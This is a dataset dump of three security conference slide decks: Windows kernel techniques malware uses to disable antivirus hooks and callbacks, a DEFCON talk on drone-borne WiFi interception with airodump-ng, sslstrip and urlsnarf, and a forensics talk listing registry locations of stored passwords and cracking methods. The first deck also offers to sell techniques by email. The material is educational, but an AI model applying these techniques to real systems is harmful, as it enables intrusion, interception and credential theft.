text
stringlengths
100
9.93M
category
stringclasses
11 values
兵家必爭之地 Nanika PDF created with pdfFactory Pro trial version www.pdffactory.com • 在防毒與惡意軟體間的一往一來就是一場 激烈的戰爭 • 在一黑一白對抗之中各有輸贏 PDF created with pdfFactory Pro trial version www.pdffactory.com • 安全需要對於任何風險都略懂 • 知彼知己,百戰不殆;不知彼而知己,一 勝一負;不知彼,不知己,每戰必殆 • 知識就是力量 PDF created with pdfFactory Pro trial version www.pdffactory.com 你懂入侵 你懂OS 懂WEB PT? PDF created with pdfFactory Pro trial version www.pdffactory.com 守方優劣勢 • 先常駐在系統,掌握各個 關鍵關口,並且對於任何 變動都可以瞭若指掌,擁 有龐大的資源,發現新攻 擊方式會使用各種技巧封 阻 • 以穩定度為核心並且不能 作太細膩的檢查影響效能, 不能使用不穩定的先進技 術,守勢地圖直接攤在外 面讓人研究 PDF created with pdfFactory Pro trial version www.pdffactory.com 掌握關鍵關口 惡意軟體 哇靠! 早就 跟你說過要 走別條路 PDF created with pdfFactory Pro trial version www.pdffactory.com 守勢地圖公開 前線包括 Ring0防護 交通要道進 行多少Hook 重要據點 有多少人 防護 通信兵如 何通信 最後防 線 戰略地圖 PDF created with pdfFactory Pro trial version www.pdffactory.com 攻方優劣勢 • 各種技巧不需要以穩定 為核心,需依照守勢地圖 找新計謀突破,當守勢很 完備的時候則需要使用 些奇淫技巧 • 沒辦法準確的瞭解攻擊 目標的環境,常常一公開 新技巧馬上會被封阻,沒 辦法一勞永逸 PDF created with pdfFactory Pro trial version www.pdffactory.com 必爭之地 FileFilter(最後防線) NotifyCallBack(通信) IAT EAT Inline(重要據點) SystemCall(交通要道) Ring0(前線) PDF created with pdfFactory Pro trial version www.pdffactory.com Ring0(突破前線) • 替換REG • 替換檔案 • \Device\PhysicalMemory • ZwLoadDriver • ZwSystemDebugControl • ZwSetSystemInformation • Kernel Bug • ……. PDF created with pdfFactory Pro trial version www.pdffactory.com 在這裡等了半天 什麼惡意軟體都 沒出現,系統應該 很安全吧 PDF created with pdfFactory Pro trial version www.pdffactory.com 惡意軟體 嘿嘿 走後門 我最在行 PDF created with pdfFactory Pro trial version www.pdffactory.com 兵不厭詐 這是戰爭 PDF created with pdfFactory Pro trial version www.pdffactory.com 突破前線後要怎樣進攻 • 正面突破 • 各個擊破 PDF created with pdfFactory Pro trial version www.pdffactory.com 正面突破(MmUnloadSystemImage) PDF created with pdfFactory Pro trial version www.pdffactory.com 各個擊破 • 分析守勢地圖後精 準突破 PDF created with pdfFactory Pro trial version www.pdffactory.com SystemCall(交通要道) • SSDT (實做一整個Function)(還原) • Inline Hook(實做一整個Function)(還原) • 攔截與還原的無窮迴圈 PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com Origin HOOK Function Origin 實做一個相同的 Function Origin Code Origin OriginADDRESS FuncADDRESS Inline JMP HOOK PDF created with pdfFactory Pro trial version www.pdffactory.com IAT EAT Inline(重要據點) • MmGetSystemRoutineAddress • IofCallDriver • ObReferenceObjectbyName • KeUserModeCallBack • …………………………………. • 實做一整個Function or 還原 • 各家有各家的喜好又是攔截與還原的無窮 迴圈 PDF created with pdfFactory Pro trial version www.pdffactory.com NotifyCallBack(通信) • PsSetCreateProcessNotifyRoutine • PsSetCreateThreadNotifyRoutine • PsSetLoadImageNotifyRoutine • CmRegisterCallback • 中斷通訊為戰爭必備攻勢 PDF created with pdfFactory Pro trial version www.pdffactory.com 報告長官,偵測到 新的Process,快 進行掃描 PDF created with pdfFactory Pro trial version www.pdffactory.com 截斷通信 • PsSetCreateProcessNotifyRoutine(PCREATE_PROCESS_NOTIFY_ROU TINE NotifyRoutine, BOOLEAN Remove) • PAGE:004EEE96 mov edi, edi • PAGE:004EEE98 push ebp • PAGE:004EEE99 mov ebp, esp • PAGE:004EEE9B push ebx • PAGE:004EEE9C xor ebx, ebx • PAGE:004EEE9E cmp [ebp+Remove], bl • PAGE:004EEEA1 push esi • PAGE:004EEEA2 push edi • PAGE:004EEEA3 jz short loc_4EEF0A • PAGE:004EEEA5 mov edi, offset byte_483360 • 找出所有Routine 之後移除列表 PDF created with pdfFactory Pro trial version www.pdffactory.com FileFilter(最後防線) • FltRegisterFilter • FSD Routine • IoAttachDevice • 最後防線突破等於攻下城池 PDF created with pdfFactory Pro trial version www.pdffactory.com • dt nt!_driver_object 816565e0 • +0x000 Type : 4 • +0x002 Size : 168 • +0x004 DeviceObject : 0x8147b030 _DEVICE_OBJECT • +0x008 Flags : 0x12 • +0x00c DriverStart : 0xf8262000 • +0x010 DriverSize : 0x58480 • +0x014 DriverSection : 0x816cc230 • +0x018 DriverExtension : 0x81656688 _DRIVER_EXTENSION • +0x01c DriverName : _UNICODE_STRING "\Driver\Tcpip" • +0x024 HardwareDatabase : 0x80671b60 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM" • +0x028 FastIoDispatch : (null) • +0x02c DriverInit : 0xf82b2d23 long tcpip!GsDriverEntry+0 • +0x030 DriverStartIo : (null) • +0x034 DriverUnload : 0xf8290a58 void tcpip!ArpUnload+0 • +0x038 MajorFunction : [28] 0xf82684f9 long tcpip!TCPDispatch+0 PDF created with pdfFactory Pro trial version www.pdffactory.com 透過檔案比對恢復FSD MajorFunction • +0x038 MajorFunction : [0] 0xf82684f9 long tcpip!TCPDispatch+0 • +0x038 MajorFunction : [1] 0xxxxxxxxx long tcpip!TCPDispatch+0 • +0x038 MajorFunction : [2] 0xxxxxxxxx long tcpip!TCPDispatch+0 • +0x038 MajorFunction : [3] 0xxxxxxxxx long tcpip!TCPDispatch+0 • +0x038 MajorFunction : [4] 0xxxxxxxxx long tcpip!TCPDispatch+0 DriverObject->MajorFunction[IRP_MJ_CREATE] = KDispatchCreateClose; DriverObject->MajorFunction[IRP_MJ_CLOSE] = KDispatchCreateClose; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = KDispatchIoctl; PDF created with pdfFactory Pro trial version www.pdffactory.com • dt nt!_driver_object 816565e0 • +0x000 Type : 4 • +0x002 Size : 168 • +0x004 DeviceObject : 0x8147b030 _DEVICE_OBJECT • +0x008 Flags : 0x12 • +0x00c DriverStart : 0xf8262000 • +0x010 DriverSize : 0x58480 • +0x014 DriverSection : 0x816cc230 • +0x018 DriverExtension : 0x81656688 _DRIVER_EXTENSION • +0x01c DriverName : _UNICODE_STRING "\Driver\Tcpip" • +0x024 HardwareDatabase : 0x80671b60 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM" • +0x028 FastIoDispatch : (null) • +0x02c DriverInit : 0xf82b2d23 long tcpip!GsDriverEntry+0 • +0x030 DriverStartIo : (null) • +0x034 DriverUnload : 0xf8290a58 void tcpip!ArpUnload+0 • +0x038 MajorFunction : [28] 0xf82684f9 long tcpip!TCPDispatch+0 PDF created with pdfFactory Pro trial version www.pdffactory.com • kd> dt nt!_device_object 0x8147b030 • +0x000 Type : 3 • +0x002 Size : 0xb8 • +0x004 ReferenceCount : 2 • +0x008 DriverObject : 0x816565e0 _DRIVER_OBJECT • +0x00c NextDevice : 0x81477030 _DEVICE_OBJECT • +0x010 AttachedDevice : 0x81477510 _DEVICE_OBJECT • kd> dt nt!_device_object 0x 81477030 • +0x000 Type : 3 • +0x002 Size : 0xb8 • +0x004 ReferenceCount : 2 • +0x008 DriverObject : 0x816565e0 _DRIVER_OBJECT • +0x00c NextDevice : 0x814e4030 _DEVICE_OBJECT • +0x010 AttachedDevice : 0x81477618 _DEVICE_OBJECT Null Null PDF created with pdfFactory Pro trial version www.pdffactory.com 眼花撩亂 PDF created with pdfFactory Pro trial version www.pdffactory.com 真真假假假假真真 • 守方若需要守的完備需要花 費大量的資源投入在相關的 路線規劃上 • 攻方則需要更大量測試任何 天馬行空的幻想 • 技術是一體兩面的,可以拿 來防護,當然也可以知道怎 樣攻擊 PDF created with pdfFactory Pro trial version www.pdffactory.com 略懂! 來看一下 Demo PDF created with pdfFactory Pro trial version www.pdffactory.com 有批技術很高檔,有需要就寄這個mail [email protected] PDF created with pdfFactory Pro trial version www.pdffactory.com 謝謝 PDF created with pdfFactory Pro trial version www.pdffactory.com Reference • http://hi.baidu.com/sudami • http://hi.baidu.com/mj0011 • http://www.debugman.com/ • http://forum.eviloctal.com/archiver/tid- 33451.html • 特別感謝我引用圖片的作者 PDF created with pdfFactory Pro trial version www.pdffactory.com
pdf
R I C K Y H I L L D E F C O N 2 1 8 / 3 / 2 0 1 3 Phantom Network Surveillance UAV / Drone 1 About Me  Security Consultant, D.C. Area  Specialties: Wireless & SCADA Security  US Govt. & Commercial  Previous DEFCON Talks: WarRocketing & WarBallooning, (over Las Vegas ;-)  Hobbies: R/C heli’s, Deep Sea Fishing 2 What Talk is NOT About  Having UR Dry Cleaning Delivered -> 3 Outline  Intro - Aerial Wireless Surveillance  Past attempts: Balloons, Rockets, UAVForge  New Technology: The Phantom Drone  Building the Network Surveillance Drone  Flights & Results  Conclusion 4 What this is Really About  Aerial, wireless (802.11) network surveillance Past Attempts:  DARPA - UAVForge, 2011  Blackhat 2011: WASP spy drone 5 UAVForge “Perch and Stare”  OK, so this hawk doesn’t have a Pineapple, but he’s definitely perfected the technique! -> 6 But I luv Heli’s & Drones: Why did UAVForge fail?  143 teams from 153 countries competed -> No One Won.  Factors: - Govt. required op’s beyond LoS - Limited FPV capabilities - Ambitious, autonomous operations - Some highlights (uavforge.net) 7 UAVForge Crashes 8 Meet “THE” DJI Phantom  DJI Innovations introduced the Phantom JAN 2013  It quickly gained a reputation for being the most stable drone platform in the air today  Features: GPS Auto “Return to Home” Payload: up to 400 grams $679. UAVForge Dones: $2K-9K 9 What’s New since 2011?  Technology has improved dramatically:  Tiny computers: Cotton Candy (30 gr.)  CC: Bluetooth, HDMI, 802.11 capable  Wifi Pineapple: remote 3G, 4G  DJI Phantom = the first “consumer quality” drone that is easily flyable by the average person. 10 TechnoLust Overcomes Me: Let’s build this!  Designed & Built 2 payloads:  Cotton Candy + WiSpy or KillerBee  Flying Pineapple = Hak5 Pineapple + GSM 3G/4G 11 Site Survey Payload  Cotton Candy makes a perfect headless computer  Apple Bluetooth KB & Mouse “detach” instantly  ARM processor runs Ubuntu or Android O/S  1.2 GHz ARM Cortex-A9 CPU, 1GB of RAM, image on microSD  Wireless Tools: Kismet, Wispy (spectools) available, or pretty much any USB device, even Killerbee for ZIGBEE 12 WiSpy Flight Results  VA Waterfront Neighborhood: 13 WiSpy Flight Results  2.4 Ghz: 14 We found 802.11 sources – What’s next?  The “Flying Pineapple”:  Tools: Airodump, sslstrip, site survey, et. al.  Payload Objectives: [1] Land on any unique Vantage Point: Buildings, Towers, Balconies, etc. “Perch”… [2] Conduct Op’s [3] Return Phantom safely to Starting Point 15 Network Diagram  Reverse ssh tunnel -> Hawaii Relay Server 16 Hak5 Video Episode 1112 Pineapple Offensive Ops  Selected Pineapple Capabilities: OpenWRT running Jasager – >“the yes man” URL Snarf DNS Spoofing New http landing page for phishing, etc.  airodump-ng runs great in-flight! cd /usb/airodump-ng-logs airomon-ng start wlan0 (monitor mode) airodump-ng -w pcap mon0 17 Flight2: Airmon-NG  Public Beach Flyover:  AIRMON-NG  In-Flight Monitor Mode  NO! We are not looking for Bikini’s…  How many people using wireless here?  Flight video & pcap 18 “Oh NO!!!” Moments  All was not perfect with our Phantom Adventures…  A couple Incidents you may find amusing->  Video 19 Crash: Phantom v2 20 Flight3: Rooftop Landing  Large Party Platform overlooking recreation area @ the Lake:  AIRMON-NG  Site Survey  UrlSnarf  Great Vantage Point! (Video) 21 Flight3: Results  sslstrip->  urlsnarf-> 22 How did we compare to UAVForge Team Scores? 23 How did we compare to UAVForge Team Scores? Phantom = 35 5 th place 24 Conclusion / Future Work  Phantom Network Surveillance Drone:  Successful proof of concept of “Perch, Listen, and Engage” wireless network surveillance  Highly effective site survey tool 25 Next Time Next DARPA Challenge: Full FPV for non-LoS operations Autonomous operation with waypoints, (Naza- M available now.) Descent rate instruments for precision landing Extend 4 Hr. surveillance capability with better power design... Multiple building operations become possible. 26 Legal & Safety Issues  Do NOT attempt to fly a quadcopter as large and expensive as the Phantom without experience! (I highly recommend joining an R/C club or getting a mentor). Start small: the Blade MQX quadcopter is ideal…  Under current FAA rules flying beyond LOS or above 400 ft. AGL is Illegal  Under no circumstances fly within 5 miles of any airport.  Do NOT violate people’s privacy with cameras or other devices. 27 How High is 400 ft?  www.apogeerockets.com $49 28 Shout Outs 29 Thanks To-> Tenacity Alpha Ops Team - Flight Support Nick Hopler: Heli’ Op’s & Video Production Hobby Hangar, Chantilly, VA Checked your Roof Lately? 30 Questions? Bibliography  DARPA UAVForge project site: http://www.uavforge.net/  DJI Innovations, Inc. Phantom: http://www.dji- innovations.com/product/phantom/  Cotton Candy Computer: http://www.fxitech.com/cotton-candy/what-is-it/  WiFi Pineapple (Hak5): “The Hot-Spot Honeypot Pen-Testing Platform”: http://wifipineapple.com/  Congressional Research Service, “Integration of Drones into Domestic Airspace: Selected Legal Issues”, Dolan and Thompson, April 4, 2013 32 Site Survey Payload 33 Site Survey Payload - Hardware  Cotton Candy: www.store.cstick.com  Apple Bluetooth Wireless Keyboard, A1314  HP Bluetooth Touch to Pair Mouse, #H4R81AA#ABA  Wi-Spy Spectrum Analysers, 900 Mhz, 2.4, 5 Ghz www.metageek.net  Eflite 1S, 3.7v Battery redrockethobbies.com  Protek 2A USB Adapter: http://www.bigsquidrc.com 34 Site Survey Payload - Software  WiSpy: install spectools-> http://www.kismetwireless.net/spectools/  Cotton Candy – attach bluetooth KB & mouse: hcitool scan (finds bluetooth addresses) sudo apt-get install bluez-compat sudo hidd-connect <address> 35 Killerbee Zigbee Payload  Hardware: Amtel ATA-RZusbstick with firmware flash for Killerbee, (Joshua Wright)  Cotton Candy HW Config, (same as Wi-Spy)  Software: https://code.google.com/p/killerbee apt-get install python-gtk2 python-cairo python- usb python-crypto cd /killerbee python setup.py install zbstumbler, zbfind, etc. 36 Pineapple Payload 37 Pineapple Payload - Hardware  WiFi Pineapple Mark IV http://hakshop.myshopify.com  Protek 2A USB Adapter: http://www.bigsquidrc.com  Eflite 2S, 1300 mAh, 7.4 v battery redrockethobbies.com  T-Mobile ZTE MF591 Rocket 3G 4G http://t-mobile.com 38 Pineapple Payload - Software  Enabling T-Mobile USB Mass Storage & Swap Space: https://forums.hak5.org/index.php?/topic/25882- how-to-enable-usb-mass-storage-with-swap- partition/  Note: U must mount storage and swap via UUID’s! sudo BLKID Enter uuid in fstab 39 Pineapple – Internet Relay  Persistent ssh, Hak5 episode 1112-> http://hak5.org/episodes/hak5-1112  Relay Server Provider: digitalocean.com  Software: cd /etc/ssh (on relay) nano sshd_config AllowTcpForwarding “yes” GatewayPorts “yes” 40 FPV Parts List  First Person View (FPV) Hardware: Mini FPV Camera with 5.8Ghz TX Combo, http://www.unmannedtechshop.co.uk/fpv-gear/5- 8ghz-tx-rx/mini-fpv-camera-with-5-8ghz-tx- combo.html Foxtech RC-305 Receiver foxtechfpv.com 41 Phantom Drone Adds / Improvements  High Performance Props Graupner E-Prop 9x5 (2x CW, 2x CCW) team- blacksheep.com  Extended Landing Gear PhantoMounts Carbon Fiber Landing Gear rcdude.com  Battery Tray PhantoMounts Wide CF Battery Tray rc-drones.com 42
pdf
由電腦鑑識看帳號 由電腦鑑識看帳號/密碼的竊取 密碼的竊取 2009/July 2009/July 講師 講師:鑒真數位 鑒真數位 黃敬博 黃敬博 [email protected] [email protected] (EnCE/CCE/CIFI/CHFI/CEH/CISSP) (EnCE/CCE/CIFI/CHFI/CEH/CISSP) PDF created with pdfFactory Pro trial version www.pdffactory.com 簡報大網 簡報大網 帳號密碼遭竊的嚴重性 不可知的殘留 帳號/密碼存在的位置及方式 破密的邏輯 常用的竊取手法 問題與討論 PDF created with pdfFactory Pro trial version www.pdffactory.com 國內趨勢 國內趨勢 • 根據內政部警政署的統計資料顯示 根據內政部警政署的統計資料顯示 去年 去年(97 (97年)妨害電腦使用案,犯罪方式第一名為 妨害電腦使用案,犯罪方式第一名為 無故取得、刪除或變更他人電腦或電磁紀錄 無故取得、刪除或變更他人電腦或電磁紀錄 (56.47%) (56.47%) PDF created with pdfFactory Pro trial version www.pdffactory.com 案例說明 案例說明 • Yahoo Yahoo 帳號失竊案例 帳號失竊案例 – 網路犯罪最愛偷的帳號 網路犯罪最愛偷的帳號 若是Gmail 遭竊 ? PDF created with pdfFactory Pro trial version www.pdffactory.com 有組織的犯罪結構 有組織的犯罪結構 • 中國駭客黑色產業鏈 中國駭客黑色產業鏈:2.38 :2.38億年產值帶來 億年產值帶來76 76 億損失 億損失 – 僵屍電腦租借 僵屍電腦租借 – 帳號 帳號/密碼 密碼 (其中每天有超過上萬人次填寫申訴 其中每天有超過上萬人次填寫申訴 資料,反映 資料,反映QQ QQ密碼被盜 密碼被盜) PDF created with pdfFactory Pro trial version www.pdffactory.com 簡報大網 簡報大網 帳號密碼遭竊的嚴重性 不可知的殘留 帳號/密碼存在的位置及方式 竊取的手法 破密的邏輯 問題與討論 PDF created with pdfFactory Pro trial version www.pdffactory.com 不可知的殘留 不可知的殘留 • 根據加州柏克萊大學的研究,目前公司中 根據加州柏克萊大學的研究,目前公司中 有超過 有超過93% 93%的資訊產出是以數位格式分散貯 的資訊產出是以數位格式分散貯 存在各個系統中,同時相同的研究也指出 存在各個系統中,同時相同的研究也指出 在所有的資訊犯罪、侵權案例中,有超過 在所有的資訊犯罪、侵權案例中,有超過 85% 85%的案例均會留下數位遺趾。 的案例均會留下數位遺趾。 (Foot print) (Foot print) Ł 示範 示範 PDF created with pdfFactory Pro trial version www.pdffactory.com 硬碟 硬碟Unallocate Unallocate區的殘留 區的殘留 • File Slack File Slack • Unallocated cluster Unallocated cluster • Hardisk Unallocated area Hardisk Unallocated area PDF created with pdfFactory Pro trial version www.pdffactory.com 虛擬記憶體的殘留 虛擬記憶體的殘留 • Pagefile.sys Pagefile.sys 為Windows Windows平台中的虛擬記憶體 平台中的虛擬記憶體,程式執行中 程式執行中 的資訊很多會殘留在此部份 的資訊很多會殘留在此部份,且可能以明文 且可能以明文 的方式顯示 的方式顯示 – 帳號 帳號/密碼 密碼 – Instant Message Instant Message 聊天的內容 聊天的內容 PDF created with pdfFactory Pro trial version www.pdffactory.com Windows Windows 休眠 休眠 • Hibernate.sys Hibernate.sys 及 Hiberfil.sys Hiberfil.sys 為Windows Windows平台中休眠時,將記憶體中的資 平台中休眠時,將記憶體中的資 訊貯存檔案名稱,可於停止休眠時迅速回 訊貯存檔案名稱,可於停止休眠時迅速回 復系統原始運行的狀態 復系統原始運行的狀態 PDF created with pdfFactory Pro trial version www.pdffactory.com Memory Dump Memory Dump • 作業系統中所有正在執行的程式及保留的 作業系統中所有正在執行的程式及保留的 輸入資料存在許多有用的資訊 輸入資料存在許多有用的資訊 • 使用記憶體傾印工具可將記憶體資料完整 使用記憶體傾印工具可將記憶體資料完整 保留為一個映像檔 保留為一個映像檔 PDF created with pdfFactory Pro trial version www.pdffactory.com 記憶體殘留的密碼分析 記憶體殘留的密碼分析 • Strings Strings 將ASCI ASCI字串取出 字串取出 – 採用支援 採用支援Uni Uni--code code的Strings Strings – 輸出檔案輸入編輯器搜尋 輸出檔案輸入編輯器搜尋(Ex: UltraEdit) (Ex: UltraEdit) • 使用商業軟體進行檢視及搜尋 使用商業軟體進行檢視及搜尋 – Encase / FTK / X Encase / FTK / X--Ways Forensics Ways Forensics PDF created with pdfFactory Pro trial version www.pdffactory.com 簡報大網 簡報大網 帳號密碼遭竊的嚴重性 不可知的殘留 帳號/密碼存在的位置及方式 破密的邏輯 常用的竊取手法 問題與討論 PDF created with pdfFactory Pro trial version www.pdffactory.com 帳號 帳號/密碼存在的形式 密碼存在的形式 • 貯存在檔案中 貯存在檔案中 • 貯存在 貯存在Registry Registry中 • 貯存在 貯存在Cookie Cookie中 • 貯存在 貯存在Data Base Data Base中 • 貯存在 貯存在Token Card/iKey Token Card/iKey PDF created with pdfFactory Pro trial version www.pdffactory.com MSN MSN的帳號 的帳號/密碼 密碼 • MSN version 8.x/9.x MSN version 8.x/9.x 的密碼 的密碼: The passwords are stored in the Credentials The passwords are stored in the Credentials file, with entry name begins with file, with entry name begins with “WindowsLive:name=“ “WindowsLive:name=“ • MSN version 7.x/6.x MSN version 7.x/6.x 的密碼 的密碼: 則貯存在 則貯存在Registry Registry 機碼中 機碼中 V7.0: HKEY_CURRENT_USER V7.0: HKEY_CURRENT_USER\Software Software\\Microsoft Microsoft\IdentityCRL IdentityCRL\\Creds Creds\[Account Name] [Account Name] V6.0: HKEY_CURRENT_USER V6.0: HKEY_CURRENT_USER\\Software Software\\Microsoft Microsoft\\MSNMessenger or Microsoft MSNMessenger or Microsoft\\MessengerService MessengerService PDF created with pdfFactory Pro trial version www.pdffactory.com Yahoo messenger Yahoo messenger 及Google talk Google talk的 帳號 帳號/密碼 密碼 • Yahoo messenger Yahoo messenger 最新版為 最新版為 Ver 9.x: Ver 9.x: 歷來 歷來8/7/6 8/7/6的版本密碼主要均貯存於機碼中 的版本密碼主要均貯存於機碼中 HKEY_CURRENT_USER HKEY_CURRENT_USER\Software Software\Yahoo Yahoo\\Pager Pager • Google talk Google talk 最新版為 最新版為 Ver 1.0.x: Ver 1.0.x: 密碼主要均貯存於機碼中 密碼主要均貯存於機碼中 HKEY_CURRENT_USER HKEY_CURRENT_USER\\Software Software\Google Google\Google Google Talk Talk\Accounts Accounts\[Account Name] [Account Name] PDF created with pdfFactory Pro trial version www.pdffactory.com Outlook/Outlook express Outlook/Outlook express 帳號 帳號/密碼 密碼 Outlook Outlook • Outlook 2002 Outlook 2002--2008 2008 帳號密碼貯存在同一個 帳號密碼貯存在同一個 Registry Key Registry Key中 • 但是若經由 但是若經由AD AD認證去取 認證去取Exchange Exchange 伺服器的信 伺服器的信 件則帳號 件則帳號/密碼則存在於 密碼則存在於Credential file Credential file中 Outlook Express Outlook Express • 密碼貯存 密碼貯存Protected Storage Protected Storage • Protected Storage information is saved in a special location in the Registry. Protected Storage information is saved in a special location in the Registry. PDF created with pdfFactory Pro trial version www.pdffactory.com IE Auto IE Auto--complete complete 的帳號 的帳號/密碼 密碼 • 新版 新版IE V7 IE V7及V8 V8 貯存密碼於兩個地方 貯存密碼於兩個地方 • AutoComplete passwords are stored in the AutoComplete passwords are stored in the Registry under Registry under HKEY_CURRENT_USER HKEY_CURRENT_USER\\Software Software\\Microsoft Microsoft\\Internet Internet Explorer Explorer\\IntelliForms IntelliForms\\Storage2. Storage2. • HTTP Authentication passwords are stored in HTTP Authentication passwords are stored in the Credentials file the Credentials file PDF created with pdfFactory Pro trial version www.pdffactory.com WebMail WebMail 的帳號 的帳號/密碼 密碼 • Hotmail Hotmail • Yahoo Mail Yahoo Mail • Gmail Gmail Web mail Web mail 的密碼主要還是存在於不同的 的密碼主要還是存在於不同的 Registry Key Registry Key中,但均經過加密處理的密文 但均經過加密處理的密文 PDF created with pdfFactory Pro trial version www.pdffactory.com 使用工具進行帳號 使用工具進行帳號/密碼的揭露 密碼的揭露 • 示範 示範: 整合揭密的軟體工具 整合揭密的軟體工具(LiveDetector) (LiveDetector) PDF created with pdfFactory Pro trial version www.pdffactory.com 簡報大網 簡報大網 帳號密碼遭竊的嚴重性 不可知的殘留 帳號/密碼存在的位置及方式 破密的邏輯 常用的竊取手法 問題與討論 PDF created with pdfFactory Pro trial version www.pdffactory.com 瞭解加密的強度並預估所需時間 瞭解加密的強度並預估所需時間 • 瞭解你所面對加密強度及應用程式為何 瞭解你所面對加密強度及應用程式為何? – AES (Truecrypt ) AES (Truecrypt ) – PGP PGP – Skype Skype – Wipe /Completely deleted tool Wipe /Completely deleted tool PDF created with pdfFactory Pro trial version www.pdffactory.com Brute force Brute force – Time (How long ?) Time (How long ?) • 當破密的強度超過一定程度後 當破密的強度超過一定程度後 – CPU CPU 及 電腦數已不具任何意義 電腦數已不具任何意義 ! – 一台 一台Core2 Core2的PC PC當要破一個 當要破一個PGP PGP的加密檔案 的加密檔案 使用暴力破解約需 使用暴力破解約需1千萬年時 千萬年時 • 等於 等於1千萬台 千萬台PC PC要同時跑一年來破密 要同時跑一年來破密 • …. …. PDF created with pdfFactory Pro trial version www.pdffactory.com •先瞭解你的目標對象 •PGP/SSL/AES/WEP/3DES… •柿子挑軟的吃 – 先從簡單著手 ? •Social Engineering •使用習慣 •先破 MSN/DOC/RAR 密碼 •刪除的檔案 •搜尋password/account/密碼…等相關字 •非不得已,不用暴力破解 密碼破解的邏輯 PDF created with pdfFactory Pro trial version www.pdffactory.com 刪除的檔案找線索 •先救回已刪除檔案,方式主要有兩種: 1. 修改檔案系統的索引區(FAT/FDT/MFT/InodeTable),將 標示已刪除的Tag及相關資料回復為未刪除的型態 2. 在Unallocate資料區搜尋符合檔頭格式及檔尾格式的資 料,擷取出來另存為新的檔案 •直接在已刪除檔案的區域找線索 PDF created with pdfFactory Pro trial version www.pdffactory.com 加密的文件檔案 •不同的加密文件有不同的破密困難度: 1. 先從Office 文件下手(必可破的文件) 2. 再從PDF文件下手 3. RAR/ZIP的文件 4. 付費服務(國外有許多的破密服務/破了再付費) PDF created with pdfFactory Pro trial version www.pdffactory.com 密碼破解 密碼破解 – 實務操作 實務操作 • 範例 範例: : 使用破解的方式 使用破解的方式 • 明文破解 明文破解 PDF created with pdfFactory Pro trial version www.pdffactory.com 密碼破解 密碼破解 – 字典檔攻擊 字典檔攻擊 • 大部份的破密軟體均大同小異 大部份的破密軟體均大同小異 – 主要的區別在於字典檔的完整性及組合方 主要的區別在於字典檔的完整性及組合方 – 字典檔買得到嗎 字典檔買得到嗎 ? – 如果是有經驗的駭客 如果是有經驗的駭客,密碼的選取 密碼的選取…(Non …(Non--english) english) – 如何製作字典檔 如何製作字典檔 PDF created with pdfFactory Pro trial version www.pdffactory.com HardDisk indexing HardDisk indexing • 非常有效的字典檔製作方式 非常有效的字典檔製作方式 • 不只整顆硬碟也特別適用於 不只整顆硬碟也特別適用於 記憶體資料 記憶體資料 – Memory dump Memory dump 檔案 檔案 – pagefile.sys pagefile.sys 檔案 檔案 – hiberfil.sys hiberfil.sys 及hibernate.sys hibernate.sys PDF created with pdfFactory Pro trial version www.pdffactory.com •什麼是RainBow Table •彩虹表 (用空間換取時間?? …) •速度多快? •Windows 密碼安全嗎? •Office/PDF 文件加密安全嗎 ? •Zip/RAR 文件加密安全嗎 ? •什麼才安全 ? RainBow Table–最快的密碼破解 PDF created with pdfFactory Pro trial version www.pdffactory.com •使用更改而非破解,此為 Non-forensics 作法 •Windows Administrator密碼忘了如何? •Linux root密碼忘了如何? •Vmware 內的作業系統該如何? 使用chntpw 製作開機光碟後可更改windows的密碼,linux 只要mount檔案系統後更改/etc/shadow即可 Linux Linux 或 Window Window 密碼遺忘 密碼遺忘 PDF created with pdfFactory Pro trial version www.pdffactory.com 簡報大網 簡報大網 帳號密碼遭竊的嚴重性 不可知的殘留 帳號/密碼存在的位置及方式 破密的邏輯 常用的竊取手法 問題與討論 PDF created with pdfFactory Pro trial version www.pdffactory.com 鎖定目標 鎖定目標-瞭解使用者的軟體環境 瞭解使用者的軟體環境 • 電子郵件 電子郵件 (Outlook/Outlook Express/Lotus (Outlook/Outlook Express/Lotus Notes / Notes /其它 其它…) …) • 即時通訊軟體 即時通訊軟體(MSN/Yahoo/Google Talk…) (MSN/Yahoo/Google Talk…) • 文件保護的機制 文件保護的機制(PGP/Truecrypt/…) (PGP/Truecrypt/…) • 防毒系統 防毒系統 • 其他應用 其他應用… PDF created with pdfFactory Pro trial version www.pdffactory.com 硬體式 硬體式 KeyLogger KeyLogger PDF created with pdfFactory Pro trial version www.pdffactory.com 軟體式 軟體式(最普遍 最普遍) ) -植入木馬 植入木馬 • Screen capture Screen capture • Keylog Keylog • URL log URL log • Files open log Files open log • Application open log Application open log PDF created with pdfFactory Pro trial version www.pdffactory.com 使用社交工程方式騙取 使用社交工程方式騙取 • E-mail mail 網路釣魚的手法 網路釣魚的手法 • 設立的登入網站 設立的登入網站,詐取帳號 詐取帳號/密碼 密碼 (一般人重複使用密碼的習慣 一般人重複使用密碼的習慣) • 3M/ 3M/便利貼 便利貼/圾垃中尋找 圾垃中尋找. • 台灣人最常接到的詐騙電話 台灣人最常接到的詐騙電話 • 其它 其它… PDF created with pdfFactory Pro trial version www.pdffactory.com Network Sniffer Network Sniffer • 哪些帳號 哪些帳號/密碼 密碼 為明文 為明文,最容易在網路中竊聽 最容易在網路中竊聽 1.POP3 1.POP3 取信 取信(Outlook/Outlook express/Windows (Outlook/Outlook express/Windows Mail/Live Mail…) Mail/Live Mail…) 2.BBS (Telnet) 2.BBS (Telnet) 3.FTP 3.FTP 傳檔 傳檔 4.Web (Basic authentication) 4.Web (Basic authentication) PDF created with pdfFactory Pro trial version www.pdffactory.com Wireless hacking Wireless hacking • Wep authentication ( Wep authentication (收集封包量夠多即可破 收集封包量夠多即可破 解) • Wireless Open Site Wireless Open Site – 咖啡店 咖啡店… – Wifly… Wifly… – 其它 其它 PDF created with pdfFactory Pro trial version www.pdffactory.com Network attack Network attack • 若你的網路應用帳號 若你的網路應用帳號/密碼 密碼 可以持續被猜而 可以持續被猜而 不鎖定 不鎖定 – 則可用類似 則可用類似Hydra/Brutus Hydra/Brutus 最後 最後try try出可用的帳號 出可用的帳號 及密碼 及密碼 • Web Web 認證的其它攻擊 認證的其它攻擊… PDF created with pdfFactory Pro trial version www.pdffactory.com 意見回饋與討論 意見回饋與討論 PDF created with pdfFactory Pro trial version www.pdffactory.com
pdf
